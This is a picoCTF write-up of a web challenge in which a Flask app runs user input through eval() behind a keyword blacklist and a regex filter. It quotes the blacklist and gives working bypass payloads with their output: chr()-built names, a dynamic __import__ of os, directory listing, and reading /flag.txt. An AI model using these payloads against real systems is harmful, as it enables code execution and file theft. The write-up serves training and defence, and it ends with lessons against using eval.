← Back to Cybersecurity Projects
PicoCTF — Write-Up

3v@l

Category:Web Exploitation
Points:n/a
Author:Kelvin Creighton
Difficulty:Medium
#web#eval#python#flask#rce
01

Research

Why eval is dangerous?

  • Executes a string as code.
  • What more is to be said honestly. (at least for this challenge)
02

Information Gathering

Taking a look at the HTML in the Inspector section in the Developer Tools we find this hint:

TODO ------------ Secure python_flask eval execution by 1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind 2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
STEP 01Breaking Down the Regex

If we break down the regex, which has many parts split by the | (or) operator, we can see what it will and will not match with:

- 0x[0-9A-Fa-f]+: One or more hexadecimal digits (0–9, A–F, a–f). - \\u[0-9A-Fa-f]{4}: Literally \u (the regex has \\u so it matches one backslash + u). Exactly four hex digits. - %[0-9A-Fa-f]{2}: Literally %. Exactly two hex digits. - \.[A-Za-z0-9]{1,3}\b: Literal dot. 1 to 3 alphanumeric characters. Word boundary. - [\\\/]: Matches either a backslash \ or a forward slash /. - \.\.: Matches .. (two dots).

STEP 02Analyzing Matches vs Non-Matches

Examples of what Matches and Doesn't Match:

- Hex literal: Matches 0xFF, Doesn't Match 0x - Unicode escape: Matches \u0041, Doesn't Match \u123 - Percent encoding: Matches %20, Doesn't Match %2 - File extension: Matches .js, Doesn't Match .jpeg - Double dot: Matches .., Doesn't Match ...

Notice that underscores are also not blacklisted. This will come in handy later...

03

Creating the Payload

We know we can't use the ls command. However, there may still be a way to run a 'list directories' using os.listdir(). The problem is that the keyword os is also blacklisted.

STEP 01Bypassing the Keyword Blacklist
INPUTchr(111)+chr(115)
OUTPUTos

Reason: A trick we can use is through the chr() function to evaluate the letters. This outputs os, but it is still just a string object.

STEP 02Importing the `os` Module
INPUT__import__(chr(111)+chr(115)).listdir()
OUTPUT['app.py', 'static', 'templates']

Reason: This is equivalent to __import__('os').listdir(). It allows us to list the current directory contents.

STEP 03Exploring the Root Directory
INPUT__import__(chr(111)+chr(115)).listdir(chr(47))
OUTPUT['flag.txt', ...]

Reason: Now we dig around and find the flag.txt file in the / directory. We use chr(47) to represent the forward slash / since it's blacklisted by the regex.

STEP 04Reading the Flag
INPUTopen(chr(47)+'flag.'+chr(116)+'xt').read()
OUTPUT[Flag Content]

Reason: We need to open and read the file. But remember we are restricted with the regex (/ is blacklisted along with any 1-3 letters after a dot). So instead we use chr() again to thwart the regex blacklist. A more robust solution would be __import__('builtins').open(chr(47)+'flag.'+chr(116)+'xt').read().

04

Key Takeaways

  • Do not use eval() on user-supplied input. It leads to Remote Code Execution.
  • Blacklists and regex filters are often insufficient to prevent code execution because attackers can obfuscate or build the payloads using built-in functions like chr() and dynamic imports.
FF

Flag

Captured Flag
picoCTF{...}
Kelvin CreightonPicoCTF Write-UpAll steps performed in a legal environment.